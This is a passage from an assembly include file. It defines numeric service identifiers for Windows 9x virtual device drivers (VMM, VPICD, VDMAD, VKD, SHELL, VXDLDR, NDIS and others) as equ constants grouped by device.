VMM_VMM_GetSystemInitState      equ     000010111h
VMM_Cancel_Call_When_Thread_Switched equ        000010112h
VMM_Get_Next_Thread_Handle      equ     000010113h
VMM_Adjust_Thread_Exec_Priority equ     000010114h
VMM_Deallocate_Device_CB_Area   equ     000010115h
VMM_Remove_IO_Handler           equ     000010116h
VMM_Remove_Mult_IO_Handlers     equ     000010117h
VMM_Unhook_V86_Int_Chain        equ     000010118h
VMM_Unhook_V86_Fault            equ     000010119h
VMM_Unhook_PM_Fault             equ     00001011Ah
VMM_Unhook_VMM_Fault            equ     00001011Bh
VMM_Unhook_Device_Service       equ     00001011Ch
VMM_PageReserve                 equ     00001011Dh
VMM_PageCommit                  equ     00001011Eh
VMM_PageDecommit                equ     00001011Fh
VMM_PagerRegister               equ     000010120h
VMM_PagerQuery                  equ     000010121h
VMM_PagerDeregister             equ     000010122h
VMM_ContextCreate               equ     000010123h
VMM_ContextDestroy              equ     000010124h
VMM_PageAttach                  equ     000010125h
VMM_PageFlush                   equ     000010126h
VMM_SignalID                    equ     000010127h
VMM_PageCommitPhys              equ     000010128h
VMM_Register_Win32_Services     equ     000010129h
VMM_Cancel_Call_When_Not_Critical equ   00001012Ah
VMM_Cancel_Call_When_Idle       equ     00001012Bh
VMM_Cancel_Call_When_Task_Switched equ  00001012Ch
VMM_Debug_Printf_Service        equ     00001012Dh
VMM_EnterMutex                  equ     00001012Eh
VMM_LeaveMutex                  equ     00001012Fh
VMM_Simulate_VM_IO              equ     000010130h
VMM_Signal_Semaphore_No_Switch  equ     000010131h
VMM_ContextSwitch               equ     000010132h
VMM_PageModifyPermissions       equ     000010133h
VMM_PageQuery                   equ     000010134h
VMM_EnterMustComplete           equ     000010135h
VMM_LeaveMustComplete           equ     000010136h
VMM_ResumeExecMustComplete      equ     000010137h
VMM_GetThreadTerminationStatus  equ     000010138h
VMM_GetInstanceInfo             equ     000010139h
VMM_ExecIntMustComplete         equ     00001013Ah
VMM_ExecVxDIntMustComplete      equ     00001013Bh
VMM_Begin_V86_Serialization     equ     00001013Ch
VMM_Unhook_V86_Page             equ     00001013Dh
VMM_VMM_GetVxDLocationList      equ     00001013Eh
VMM_VMM_GetDDBList              equ     00001013Fh
VMM_Unhook_NMI_Event            equ     000010140h
VMM_Get_Instanced_V86_Int_Vector equ    000010141h
VMM_Get_Set_Real_DOS_PSP        equ     000010142h
VMM_Call_Priority_Thread_Event  equ     000010143h
VMM_Get_System_Time_Address     equ     000010144h
VMM_Get_Crit_Status_Thread      equ     000010145h
VMM_Get_DDB                     equ     000010146h
VMM_Directed_Sys_Control        equ     000010147h
VMM_RegOpenKey                  equ     000010148h
VMM_RegCloseKey                 equ     000010149h
VMM_RegCreateKey                equ     00001014Ah
VMM_RegDeleteKey                equ     00001014Bh
VMM_RegEnumKey                  equ     00001014Ch
VMM_RegQueryValue               equ     00001014Dh
VMM_RegSetValue                 equ     00001014Eh
VMM_RegDeleteValue              equ     00001014Fh
VMM_RegEnumValue                equ     000010150h
VMM_RegQueryValueEx             equ     000010151h
VMM_RegSetValueEx               equ     000010152h
VMM_CallRing3                   equ     000010153h
VMM_Exec_PM_Int                 equ     000010154h
VMM_RegFlushKey                 equ     000010155h
VMM_PageCommitContig            equ     000010156h
VMM_GetCurrentContext           equ     000010157h
VMM_LocalizeSprintf             equ     000010158h
VMM_LocalizeStackSprintf        equ     000010159h
VMM_Call_Restricted_Event       equ     00001015Ah
VMM_Cancel_Restricted_Event     equ     00001015Bh
VMM_Register_PEF_Provider       equ     00001015Ch
VMM_GetPhysPageInfo             equ     00001015Dh
VMM_RegQueryInfoKey             equ     00001015Eh
VMM_MemArb_Reserve_Pages        equ     00001015Fh
VMM_Time_Slice_Sys_VM_Idle      equ     000010160h
VMM_Time_Slice_Sleep            equ     000010161h
VMM_Boost_With_Decay            equ     000010162h
VMM_Set_Inversion_Pri           equ     000010163h
VMM_Reset_Inversion_Pri         equ     000010164h
VMM_Release_Inversion_Pri       equ     000010165h
VMM_Get_Thread_Win32_Pri        equ     000010166h
VMM_Set_Thread_Win32_Pri        equ     000010167h
VMM_Set_Thread_Static_Boost     equ     000010168h
VMM_Set_VM_Static_Boost         equ     000010169h
VMM_Release_Inversion_Pri_ID    equ     00001016Ah
VMM_Attach_Thread_To_Group      equ     00001016Bh
VMM_Detach_Thread_From_Group    equ     00001016Ch
VMM_Set_Group_Static_Boost      equ     00001016Dh
VMM_GetRegistryPath             equ     00001016Eh
VMM_GetRegistryKey              equ     00001016Fh
VMM_Cleanup_Thread_State        equ     000010170h
VMM_RegRemapPreDefKey           equ     000010171h
VMM_End_V86_Serialization       equ     000010172h
VMM_Assert_Range                equ     000010173h
VMM_Sprintf                     equ     000010174h
VMM_PageChangePager             equ     000010175h
VMM_RegCreateDynKey             equ     000010176h
VMM_RegQMulti                   equ     000010177h
VMM_Boost_Thread_With_VM        equ     000010178h
VMM_Get_Boot_Flags              equ     000010179h
VMM_Set_Boot_Flags              equ     00001017Ah
VMM_lstrcpyn                    equ     00001017Bh
VMM_lstrlen                     equ     00001017Ch
VMM_lmemcpy                     equ     00001017Dh
VMM_GetVxDName                  equ     00001017Eh
VMM_Force_Mutexes_Free          equ     00001017Fh
VMM_Restore_Forced_Mutexes      equ     000010180h
VMM_AddReclaimableItem          equ     000010181h
VMM_SetReclaimableItem          equ     000010182h
VMM_EnumReclaimableItem         equ     000010183h
VMM_Time_Slice_Wake_Sys_VM      equ     000010184h
VMM_VMM_Replace_Global_Environment equ  000010185h
VMM_Begin_Non_Serial_Nest_V86_Exec equ  000010186h
VMM_Get_Nest_Exec_Status        equ     000010187h
VMM_Open_Boot_Log               equ     000010188h
VMM_Write_Boot_Log              equ     000010189h
VMM_Close_Boot_Log              equ     00001018Ah
VMM_EnableDisable_Boot_Log      equ     00001018Bh
VMM_Call_On_My_Stack            equ     00001018Ch
VMM_Get_Inst_V86_Int_Vec_Base   equ     00001018Dh
VMM_lstrcmpi                    equ     00001018Eh
VMM_strupr                      equ     00001018Fh
VMM_Log_Fault_Call_Out          equ     000010190h
VMM_AtEventTime                 equ     000010191h
VMM_PageOutPages                equ     000010192h
VMM_Call_On_My_Not_Flat_Stack   equ     000010193h
VMM_LinRegionLock               equ     000010194h
VMM_LinRegionUnLock             equ     000010195h
VMM_AttemptingSomethingDangerous equ    000010196h
VMM_Vsprintf                    equ     000010197h
VMM_Vsprintfw                   equ     000010198h
VMM_Load_FS_Service             equ     000010199h
VMM_Assert_FS_Service           equ     00001019Ah
VMM_ObsoleteRtlUnwind           equ     00001019Bh
VMM_ObsoleteRtlRaiseException   equ     00001019Ch
VMM_ObsoleteRtlRaiseStatus      equ     00001019Dh
VMM_ObsoleteKeGetCurrentIrql    equ     00001019Eh
VMM_ObsoleteKfRaiseIrql         equ     00001019Fh
VMM_ObsoleteKfLowerIrql         equ     0000101A0h
VMM_Begin_Preemptable_Code      equ     0000101A1h
VMM_End_Preemptable_Code        equ     0000101A2h
VMM_Set_Preemptable_Count       equ     0000101A3h
VMM_ObsoleteKeInitializeDpc     equ     0000101A4h
VMM_ObsoleteKeInsertQueueDpc    equ     0000101A5h
VMM_ObsoleteKeRemoveQueueDpc    equ     0000101A6h
VMM_HeapAllocateEx              equ     0000101A7h
VMM_HeapReAllocateEx            equ     0000101A8h
VMM_HeapGetSizeEx               equ     0000101A9h
VMM_HeapFreeEx                  equ     0000101AAh
VMM_Get_CPUID_Flags             equ     0000101ABh
VMM_KeCheckDivideByZeroTrap     equ     0000101ACh
VMM_RegisterGARTHandler         equ     0000101ADh
VMM_GARTReserve                 equ     0000101AEh
VMM_GARTCommit                  equ     0000101AFh
VMM_GARTUnCommit                equ     0000101B0h
VMM_GARTFree                    equ     0000101B1h
VMM_GARTMemAttributes           equ     0000101B2h
VMM_KfRaiseIrqlToDpcLevel       equ     0000101B3h
VMM_VMMCreateThreadEx           equ     0000101B4h
VMM_FlushCaches                 equ     0000101B5h
VMM_Set_Thread_Win32_Pri_NoYield equ    0000101B6h
VMM_FlushMappedCacheBlock       equ     0000101B7h
VMM_ReleaseMappedCacheBlock     equ     0000101B8h
VMM_Run_Preemptable_Events      equ     0000101B9h
VMM_MMPreSystemExit             equ     0000101BAh
VMM_MMPageFileShutDown          equ     0000101BBh
VMM_Set_Global_Time_Out_Ex      equ     0000101BCh

;    [0002.DEBUG]
DEBUG_Get_Version               equ     000020000h
DEBUG_Fault                     equ     000020001h
DEBUG_CheckFault                equ     000020002h
DEBUG_LoadSyms                  equ     000020003h

;    [0003.VPICD]
VPICD_Get_Version               equ     000030000h
VPICD_Virtualize_IRQ            equ     000030001h
VPICD_Set_Int_Request           equ     000030002h
VPICD_Clear_Int_Request         equ     000030003h
VPICD_Phys_EOI                  equ     000030004h
VPICD_Get_Complete_Status       equ     000030005h
VPICD_Get_Status                equ     000030006h
VPICD_Test_Phys_Request         equ     000030007h
VPICD_Physically_Mask           equ     000030008h
VPICD_Physically_Unmask         equ     000030009h
VPICD_Set_Auto_Masking          equ     00003000Ah
VPICD_Get_IRQ_Complete_Status   equ     00003000Bh
VPICD_Convert_Handle_To_IRQ     equ     00003000Ch
VPICD_Convert_IRQ_To_Int        equ     00003000Dh
VPICD_Convert_Int_To_IRQ        equ     00003000Eh
VPICD_Call_When_Hw_Int          equ     00003000Fh
VPICD_Force_Default_Owner       equ     000030010h
VPICD_Force_Default_Behavior    equ     000030011h
VPICD_Auto_Mask_At_Inst_Swap    equ     000030012h
VPICD_Begin_Inst_Page_Swap      equ     000030013h
VPICD_End_Inst_Page_Swap        equ     000030014h
VPICD_Virtual_EOI               equ     000030015h
VPICD_Get_Virtualization_Count  equ     000030016h
VPICD_Post_Sys_Critical_Init    equ     000030017h
VPICD_VM_SlavePIC_Mask_Change   equ     000030018h
VPICD_Clear_IR_Bits             equ     000030019h
VPICD_Get_Level_Mask            equ     00003001Ah
VPICD_Set_Level_Mask            equ     00003001Bh
VPICD_Set_Irql_Mask             equ     00003001Ch
VPICD_Set_Channel_Irql          equ     00003001Dh
VPICD_Prepare_For_Shutdown      equ     00003001Eh

;    [0004.VDMAD]
VDMAD_Get_Version               equ     000040000h
VDMAD_Virtualize_Channel        equ     000040001h
VDMAD_Get_Region_Info           equ     000040002h
VDMAD_Set_Region_Info           equ     000040003h
VDMAD_Get_Virt_State            equ     000040004h
VDMAD_Set_Virt_State            equ     000040005h
VDMAD_Set_Phys_State            equ     000040006h
VDMAD_Mask_Channel              equ     000040007h
VDMAD_UnMask_Channel            equ     000040008h
VDMAD_Lock_DMA_Region           equ     000040009h
VDMAD_Unlock_DMA_Region         equ     00004000Ah
VDMAD_Scatter_Lock              equ     00004000Bh
VDMAD_Scatter_Unlock            equ     00004000Ch
VDMAD_Reserve_Buffer_Space      equ     00004000Dh
VDMAD_Request_Buffer            equ     00004000Eh
VDMAD_Release_Buffer            equ     00004000Fh
VDMAD_Copy_To_Buffer            equ     000040010h
VDMAD_Copy_From_Buffer          equ     000040011h
VDMAD_Default_Handler           equ     000040012h
VDMAD_Disable_Translation       equ     000040013h
VDMAD_Enable_Translation        equ     000040014h
VDMAD_Get_EISA_Adr_Mode         equ     000040015h
VDMAD_Set_EISA_Adr_Mode         equ     000040016h
VDMAD_Unlock_DMA_Region_No_Dirty equ    000040017h
VDMAD_Phys_Mask_Channel         equ     000040018h
VDMAD_Phys_Unmask_Channel       equ     000040019h
VDMAD_Unvirtualize_Channel      equ     00004001Ah
VDMAD_Set_IO_Address            equ     00004001Bh
VDMAD_Get_Phys_Count            equ     00004001Ch
VDMAD_Get_Phys_Status           equ     00004001Dh
VDMAD_Get_Max_Phys_Page         equ     00004001Eh
VDMAD_Set_Channel_Callbacks     equ     00004001Fh
VDMAD_Get_Virt_Count            equ     000040020h
VDMAD_Set_Virt_Count            equ     000040021h

;    [0005.VTD]
VTD_Get_Version                 equ     000050000h
VTD_Update_System_Clock         equ     000050001h
VTD_Get_Interrupt_Period        equ     000050002h
VTD_Begin_Min_Int_Period        equ     000050003h
VTD_End_Min_Int_Period          equ     000050004h
VTD_Disable_Trapping            equ     000050005h
VTD_Enable_Trapping             equ     000050006h
VTD_Get_Real_Time               equ     000050007h
VTD_Get_Date_And_Time           equ     000050008h
VTD_Adjust_VM_Count             equ     000050009h
VTD_Delay                       equ     00005000Ah
VTD_GetTimeZoneBias             equ     00005000Bh
VTD_ObsoleteKeQueryPerformanceCounter equ       00005000Ch
VTD_ObsoleteKeQuerySystemTime   equ     00005000Dh
VTD_Install_IO_Handle           equ     00005000Eh
VTD_Remove_IO_Handle            equ     00005000Fh
VTD_Delay_Ex                    equ     000050010h
VTD_Init_Timer                  equ     000050011h

;    [0006.V86MMGR]
V86MMGR_Get_Version             equ     000060000h
V86MMGR_Allocate_V86_Pages      equ     000060001h
V86MMGR_Set_EMS_XMS_Limits      equ     000060002h
V86MMGR_Get_EMS_XMS_Limits      equ     000060003h
V86MMGR_Set_Mapping_Info        equ     000060004h
V86MMGR_Get_Mapping_Info        equ     000060005h
V86MMGR_Xlat_API                equ     000060006h
V86MMGR_Load_Client_Ptr         equ     000060007h
V86MMGR_Allocate_Buffer         equ     000060008h
V86MMGR_Free_Buffer             equ     000060009h
V86MMGR_Get_Xlat_Buff_State     equ     00006000Ah
V86MMGR_Set_Xlat_Buff_State     equ     00006000Bh
V86MMGR_Get_VM_Flat_Sel         equ     00006000Ch
V86MMGR_Map_Pages               equ     00006000Dh
V86MMGR_Free_Page_Map_Region    equ     00006000Eh
V86MMGR_LocalGlobalReg          equ     00006000Fh
V86MMGR_GetPgStatus             equ     000060010h
V86MMGR_SetLocalA20             equ     000060011h
V86MMGR_ResetBasePages          equ     000060012h
V86MMGR_SetAvailMapPgs          equ     000060013h
V86MMGR_NoUMBInitCalls          equ     000060014h
V86MMGR_Get_EMS_XMS_Avail       equ     000060015h
V86MMGR_Toggle_HMA              equ     000060016h
V86MMGR_Dev_Init                equ     000060017h
V86MMGR_Alloc_UM_Page           equ     000060018h

;    [0007.PAGESWAP]
PAGESWAP_Get_Version            equ     000070000h
PAGESWAP_0001                   equ     000070001h
PAGESWAP_0002                   equ     000070002h
PAGESWAP_0003                   equ     000070003h
PAGESWAP_0004                   equ     000070004h
PAGESWAP_0005                   equ     000070005h
PAGESWAP_Test_IO_Valid          equ     000070006h
PAGESWAP_Read_Or_Write          equ     000070007h
PAGESWAP_Grow_File              equ     000070008h
PAGESWAP_Init_File              equ     000070009h

;    [0009.REBOOT]

;    [000A.VDD]
VDD_Get_Version                 equ     0000A0000h
VDD_PIF_State                   equ     0000A0001h
VDD_Get_GrabRtn                 equ     0000A0002h
VDD_Hide_Cursor                 equ     0000A0003h
VDD_Set_VMType                  equ     0000A0004h
VDD_Get_ModTime                 equ     0000A0005h
VDD_Set_HCurTrk                 equ     0000A0006h
VDD_Msg_ClrScrn                 equ     0000A0007h
VDD_Msg_ForColor                equ     0000A0008h
VDD_Msg_BakColor                equ     0000A0009h
VDD_Msg_TextOut                 equ     0000A000Ah
VDD_Msg_SetCursPos              equ     0000A000Bh
VDD_Query_Access                equ     0000A000Ch
VDD_Check_Update_Soon           equ     0000A000Dh
VDD_Get_Mini_Dispatch_Table     equ     0000A000Eh
VDD_Register_Virtual_Port       equ     0000A000Fh
VDD_Get_VM_Info                 equ     0000A0010h
VDD_Get_Special_VM_IDs          equ     0000A0011h
VDD_Register_Extra_Screen_Selector equ  0000A0012h
VDD_Takeover_VGA_Port           equ     0000A0013h
VDD_Get_DISPLAYINFO             equ     0000A0014h
VDD_Do_Physical_IO              equ     0000A0015h
VDD_Set_Sleep_Flag_Addr         equ     0000A0016h
VDD_EnableDevice                equ     0000A0017h

;    [000B.VSD]
VSD_Get_Version                 equ     0000B0000h
VSD_Bell                        equ     0000B0001h
VSD_SoundOn                     equ     0000B0002h
VSD_TakeSoundPort               equ     0000B0003h

;    [000C.VMD]
VMD_Get_Version                 equ     0000C0000h
VMD_Set_Mouse_Type              equ     0000C0001h
VMD_Get_Mouse_Owner             equ     0000C0002h
VMD_Post_Pointer_Message        equ     0000C0003h
VMD_Set_Cursor_Proc             equ     0000C0004h
VMD_Call_Cursor_Proc            equ     0000C0005h
VMD_Set_Mouse_Data              equ     0000C0006h
VMD_Get_Mouse_Data              equ     0000C0007h
VMD_Manipulate_Pointer_Message  equ     0000C0008h
VMD_Set_Middle_Button           equ     0000C0009h
VMD_Enable_Disable_Mouse_Events equ     0000C000Ah
VMD_Post_Absolute_Pointer_Message equ   0000C000Bh

;    [000D.VKD]
VKD_Get_Version                 equ     0000D0000h
VKD_Define_Hot_Key              equ     0000D0001h
VKD_Remove_Hot_Key              equ     0000D0002h
VKD_Local_Enable_Hot_Key        equ     0000D0003h
VKD_Local_Disable_Hot_Key       equ     0000D0004h
VKD_Reflect_Hot_Key             equ     0000D0005h
VKD_Cancel_Hot_Key_State        equ     0000D0006h
VKD_Force_Keys                  equ     0000D0007h
VKD_Get_Kbd_Owner               equ     0000D0008h
VKD_Define_Paste_Mode           equ     0000D0009h
VKD_Start_Paste                 equ     0000D000Ah
VKD_Cancel_Paste                equ     0000D000Bh
VKD_Get_Msg_Key                 equ     0000D000Ch
VKD_Peek_Msg_Key                equ     0000D000Dh
VKD_Flush_Msg_Key_Queue         equ     0000D000Eh
VKD_Enable_Keyboard             equ     0000D000Fh
VKD_Disable_KeyBoard            equ     0000D0010h
VKD_Get_Shift_State             equ     0000D0011h
VKD_Filter_Keyboard_Input       equ     0000D0012h
VKD_Put_Byte                    equ     0000D0013h
VKD_Set_Shift_State             equ     0000D0014h
VKD_Send_Data                   equ     0000D0015h
VKD_Set_LEDs                    equ     0000D0016h
VKD_Set_Key_Rate                equ     0000D0017h
VKD_Get_Key_Rate                equ     0000D0018h

;    [000E.VCD]
VCD_Get_Version                 equ     0000E0000h
VCD_Set_Port_Global             equ     0000E0001h
VCD_Get_Focus                   equ     0000E0002h
VCD_Virtualize_Port             equ     0000E0003h
VCD_Acquire_Port                equ     0000E0004h
VCD_Free_Port                   equ     0000E0005h
VCD_Acquire_Port_Windows_Style  equ     0000E0006h
VCD_Free_Port_Windows_Style     equ     0000E0007h
VCD_Steal_Port_Windows_Style    equ     0000E0008h
VCD_Find_COM_Index              equ     0000E0009h
VCD_Set_Port_Global_Special     equ     0000E000Ah
VCD_Virtualize_Port_Dynamic     equ     0000E000Bh
VCD_Unvirtualize_Port_Dynamic   equ     0000E000Ch

;    [000F.VPD]
VPD_Get_Version                 equ     0000F0000h
VPD_Acquire                     equ     0000F0001h
VPD_Release                     equ     0000F0002h
VPD_Jumbo_Acquire               equ     0000F0003h
VPD_Jumbo_Release               equ     0000F0004h

;    [0010.IOS]
IOS_Get_Version                 equ     000100000h
IOS_BD_Register_Device          equ     000100001h
IOS_Find_Int13_Drive            equ     000100002h
IOS_Get_Device_List             equ     000100003h
IOS_SendCommand                 equ     000100004h
IOS_BD_Command_Complete         equ     000100005h
IOS_Synchronous_Command         equ     000100006h
IOS_Register                    equ     000100007h
IOS_Requestor_Service           equ     000100008h
IOS_Exclusive_Access            equ     000100009h
IOS_Send_Next_Command           equ     00010000Ah
IOS_Set_Async_Time_Out          equ     00010000Bh
IOS_Signal_Semaphore_No_Switch  equ     00010000Ch
IOS_IdleStatus                  equ     00010000Dh
IOS_MapIORSToI24                equ     00010000Eh
IOS_MapIORSToI21                equ     00010000Fh
IOS_PrintLog                    equ     000100010h

;    [0011.VMCPD]
VMCPD_Get_Version               equ     000110000h
VMCPD_Get_Virt_State            equ     000110001h
VMCPD_Set_Virt_State            equ     000110002h
VMCPD_Get_CR0_State             equ     000110003h
VMCPD_Set_CR0_State             equ     000110004h
VMCPD_Get_Thread_State          equ     000110005h
VMCPD_Set_Thread_State          equ     000110006h
VMCPD_Get_FP_Instruction_Size   equ     000110007h
VMCPD_Set_Thread_Precision      equ     000110008h

;    [0012.EBIOS]
EBIOS_Get_Version               equ     000120000h
EBIOS_Get_Unused_Mem            equ     000120001h

;    [0014.VNETBIOS]
VNETBIOS_Get_Version            equ     000140000h
VNETBIOS_Register               equ     000140001h
VNETBIOS_Submit                 equ     000140002h
VNETBIOS_Enum                   equ     000140003h
VNETBIOS_Deregister             equ     000140004h
VNETBIOS_Register2              equ     000140005h
VNETBIOS_Map                    equ     000140006h
VNETBIOS_Enum2                  equ     000140007h

;    [0015.DOSMGR]
DOSMGR_Get_Version              equ     000150000h
DOSMGR_Set_Exec_VM_Data         equ     000150001h
DOSMGR_Copy_VM_Drive_State      equ     000150002h
DOSMGR_Exec_VM                  equ     000150003h
DOSMGR_Get_IndosPtr             equ     000150004h
DOSMGR_Add_Device               equ     000150005h
DOSMGR_Remove_Device            equ     000150006h
DOSMGR_Instance_Device          equ     000150007h
DOSMGR_Get_DOS_Crit_Status      equ     000150008h
DOSMGR_Enable_Indos_Polling     equ     000150009h
DOSMGR_BackFill_Allowed         equ     00015000Ah
DOSMGR_LocalGlobalReg           equ     00015000Bh
DOSMGR_Init_UMB_Area            equ     00015000Ch
DOSMGR_Begin_V86_App            equ     00015000Dh
DOSMGR_End_V86_App              equ     00015000Eh
DOSMGR_Alloc_Local_Sys_VM_Mem   equ     00015000Fh
DOSMGR_Grow_CDSs                equ     000150010h
DOSMGR_Translate_Server_DOS_Call equ    000150011h
DOSMGR_MMGR_PSP_Change_Notifier equ     000150012h

;    [0017.SHELL]
SHELL_Get_Version               equ     000170000h
SHELL_Resolve_Contention        equ     000170001h
SHELL_Event                     equ     000170002h
SHELL_SYSMODAL_Message          equ     000170003h
SHELL_Message                   equ     000170004h
SHELL_GetVMInfo                 equ     000170005h
SHELL_PostMessage               equ     000170006h
SHELL_ShellExecute              equ     000170007h
SHELL_PostShellMessage          equ     000170008h
SHELL_DispatchRing0AppyEvents   equ     000170009h
SHELL_Hook_Properties           equ     00017000Ah
SHELL_Unhook_Properties         equ     00017000Bh
SHELL_Update_User_Activity      equ     00017000Ch
SHELL_QueryAppyTimeAvailable    equ     00017000Dh
SHELL_CallAtAppyTime            equ     00017000Eh
SHELL_CancelAppyTimeEvent       equ     00017000Fh
SHELL_BroadcastSystemMessage    equ     000170010h
SHELL_HookSystemBroadcast       equ     000170011h
SHELL_UnhookSystemBroadcast     equ     000170012h
SHELL_LocalAllocEx              equ     000170013h
SHELL_LocalFree                 equ     000170014h
SHELL_LoadLibrary               equ     000170015h
SHELL_FreeLibrary               equ     000170016h
SHELL_GetProcAddress            equ     000170017h
SHELL_CallDll                   equ     000170018h
SHELL_SuggestSingleMSDOSMode    equ     000170019h
SHELL_CheckHotkeyAllowed        equ     00017001Ah
SHELL_GetDOSAppInfo             equ     00017001Bh
SHELL_Update_User_Activity_Ex   equ     00017001Ch

;    [0018.VMPOOL]
VMPOOL_Get_Version              equ     000180000h
VMPOOL_Enable_Disable           equ     000180001h
VMPOOL_Reset_Detection          equ     000180002h
VMPOOL_Check_Idle               equ     000180003h

;    [001A.DOSNET]
DOSNET_Get_Version              equ     0001A0000h
DOSNET_Send_FILESYSCHANGE       equ     0001A0001h
DOSNET_Do_PSP_Adjust            equ     0001A0002h

;    [0020.INT13]
INT13_Get_Version               equ     000200000h
INT13_Device_Registered         equ     000200001h
INT13_Translate_VM_Int          equ     000200002h
INT13_Hooking_BIOS_Int          equ     000200003h
INT13_Unhooking_BIOS_Int        equ     000200004h

;    [0021.PAGEFILE]
PAGEFILE_Get_Version            equ     000210000h
PAGEFILE_Init_File              equ     000210001h
PAGEFILE_Clean_Up               equ     000210002h
PAGEFILE_Grow_File              equ     000210003h
PAGEFILE_Read_Or_Write          equ     000210004h
PAGEFILE_Cancel                 equ     000210005h
PAGEFILE_Test_IO_Valid          equ     000210006h
PAGEFILE_Get_Size_Info          equ     000210007h
PAGEFILE_Set_Async_Manager      equ     000210008h
PAGEFILE_Call_Async_Manager     equ     000210009h

;    [0026.VPOWERD]
VPOWERD_Get_Version             equ     000260000h
VPOWERD_Get_APM_BIOS_Version    equ     000260001h
VPOWERD_Get_Power_Management_Level equ  000260002h
VPOWERD_Set_Power_Management_Level equ  000260003h
VPOWERD_Set_Device_Power_State  equ     000260004h
VPOWERD_Set_System_Power_State  equ     000260005h
VPOWERD_Restore_Power_On_Defaults equ   000260006h
VPOWERD_Get_Power_Status        equ     000260007h
VPOWERD_Get_Power_State         equ     000260008h
VPOWERD_OEM_APM_Function        equ     000260009h
VPOWERD_Register_Power_Handler  equ     00026000Ah
VPOWERD_Deregister_Power_Handler equ    00026000Bh
VPOWERD_W32_Get_System_Power_Status equ 00026000Ch
VPOWERD_W32_Set_System_Power_State equ  00026000Dh
VPOWERD_Get_Capabilities        equ     00026000Eh
VPOWERD_Enable_Resume_On_Ring   equ     00026000Fh
VPOWERD_Disable_Resume_On_Ring  equ     000260010h
VPOWERD_Set_Resume_Timer        equ     000260011h
VPOWERD_Get_Resume_Timer        equ     000260012h
VPOWERD_Disable_Resume_Timer    equ     000260013h
VPOWERD_Enable_Timer_Based_Requests equ 000260014h
VPOWERD_Disable_Timer_Based_Requests equ        000260015h
VPOWERD_W32_Get_Power_Status    equ     000260016h
VPOWERD_Get_Timer_Based_Requests_Status equ     000260017h
VPOWERD_Get_Ring_Resume_Status  equ     000260018h
VPOWERD_Transfer_Control        equ     000260019h

;    [0027.VXDLDR]
VXDLDR_GetVersion               equ     000270000h
VXDLDR_LoadDevice               equ     000270001h
VXDLDR_UnloadDevice             equ     000270002h
VXDLDR_DevInitSucceeded         equ     000270003h
VXDLDR_DevInitFailed            equ     000270004h
VXDLDR_GetDeviceList            equ     000270005h
VXDLDR_UnloadMe                 equ     000270006h
VXDLDR_PELDR_LoadModule         equ     000270007h
VXDLDR_PELDR_GetModuleHandle    equ     000270008h
VXDLDR_PELDR_GetModuleUsage     equ     000270009h
VXDLDR_PELDR_GetEntryPoint      equ     00027000Ah
VXDLDR_PELDR_GetProcAddress     equ     00027000Bh
VXDLDR_PELDR_AddExportTable     equ     00027000Ch
VXDLDR_PELDR_RemoveExportTable  equ     00027000Dh
VXDLDR_PELDR_FreeModule         equ     00027000Eh
VXDLDR_Notify                   equ     00027000Fh
VXDLDR_PELDR_InitCompleted      equ     000270010h
VXDLDR_PELDR_LoadModuleEx       equ     000270011h
VXDLDR_PELDR_LoadModule2        equ     000270012h

;    [0028.NDIS]
NDIS_GetVersion                 equ     000280000h
NDIS_AllocateSpinLock           equ     000280001h
NDIS_FreeSpinLock               equ     000280002h
NDIS_AcquireSpinLock            equ     000280003h
NDIS_ReleaseSpinLock            equ     000280004h
NDIS_OpenConfiguration          equ     000280005h
NDIS_ReadConfiguration          equ     000280006h
NDIS_CloseConfiguration         equ     000280007h
NDIS_ReadEisaSlotInformation    equ     000280008h
NDIS_ReadMcaPosInformation      equ     000280009h
NDIS_AllocateMemory             equ     00028000Ah
NDIS_FreeMemory                 equ     00028000Bh
NDIS_SetTimer                   equ     00028000Ch
NDIS_CancelTimer                equ     00028000Dh
NDIS_StallExecution             equ     00028000Eh
NDIS_InitializeInterrupt        equ     00028000Fh
NDIS_RemoveInterrupt            equ     000280010h
NDIS_SynchronizeWithInterrupt   equ     000280011h
NDIS_OpenFile                   equ     000280012h
NDIS_MapFile                    equ     000280013h
NDIS_UnmapFile                  equ     000280014h
NDIS_CloseFile                  equ     000280015h
NDIS_AllocatePacketPool         equ     000280016h
NDIS_FreePacketPool             equ     000280017h
NDIS_AllocatePacket             equ     000280018h
NDIS_ReinitializePacket         equ     000280019h
NDIS_FreePacket                 equ     00028001Ah
NDIS_QueryPacket                equ     00028001Bh
NDIS_AllocateBufferPool         equ     00028001Ch
NDIS_FreeBufferPool             equ     00028001Dh
NDIS_AllocateBuffer             equ     00028001Eh
NDIS_CopyBuffer                 equ     00028001Fh
NDIS_FreeBuffer                 equ     000280020h
NDIS_QueryBuffer                equ     000280021h
NDIS_GetBufferPhysicalAddress   equ     000280022h
NDIS_ChainBufferAtFront         equ     000280023h
NDIS_ChainBufferAtBack          equ     000280024h
NDIS_UnchainBufferAtFront       equ     000280025h
NDIS_UnchainBufferAtBack        equ     000280026h
NDIS_GetNextBuffer              equ     000280027h
NDIS_CopyFromPacketToPacket     equ     000280028h
NDIS_RegisterProtocol           equ     000280029h
NDIS_DeregisterProtocol         equ     00028002Ah
NDIS_OpenAdapter                equ     00028002Bh
NDIS_CloseAdapter               equ     00028002Ch
NDIS_Send                       equ     00028002Dh
NDIS_TransferData               equ     00028002Eh
NDIS_Reset                      equ     00028002Fh
NDIS_Request                    equ     000280030h
NDIS_InitializeWrapper          equ     000280031h
NDIS_TerminateWrapper           equ     000280032h
NDIS_RegisterMac                equ     000280033h
NDIS_DeregisterMac              equ     000280034h
NDIS_RegisterAdapter            equ     000280035h
NDIS_DeregisterAdapter          equ     000280036h
NDIS_CompleteOpenAdapter        equ     000280037h
NDIS_CompleteCloseAdapter       equ     000280038h
NDIS_CompleteSend               equ     000280039h
NDIS_CompleteTransferData       equ     00028003Ah
NDIS_CompleteReset              equ     00028003Bh
NDIS_CompleteRequest            equ     00028003Ch
NDIS_IndicateReceive            equ     00028003Dh
NDIS_IndicateReceiveComplete    equ     00028003Eh
NDIS_IndicateStatus             equ     00028003Fh
NDIS_IndicateStatusComplete     equ     000280040h
NDIS_CompleteQueryStatistics    equ     000280041h
NDIS_EqualString                equ     000280042h
NDIS_RegAdaptShutdown           equ     000280043h
NDIS_ReadNetworkAddress         equ     000280044h
NDIS_WriteErrorLogEntry         equ     000280045h
NDIS_MapIoSpace                 equ     000280046h
NDIS_DeregAdaptShutdown         equ     000280047h
NDIS_AllocateSharedMemory       equ     000280048h
NDIS_FreeSharedMemory           equ     000280049h
NDIS_AllocateDmaChannel         equ     00028004Ah
NDIS_SetupDmaTransfer           equ     00028004Bh
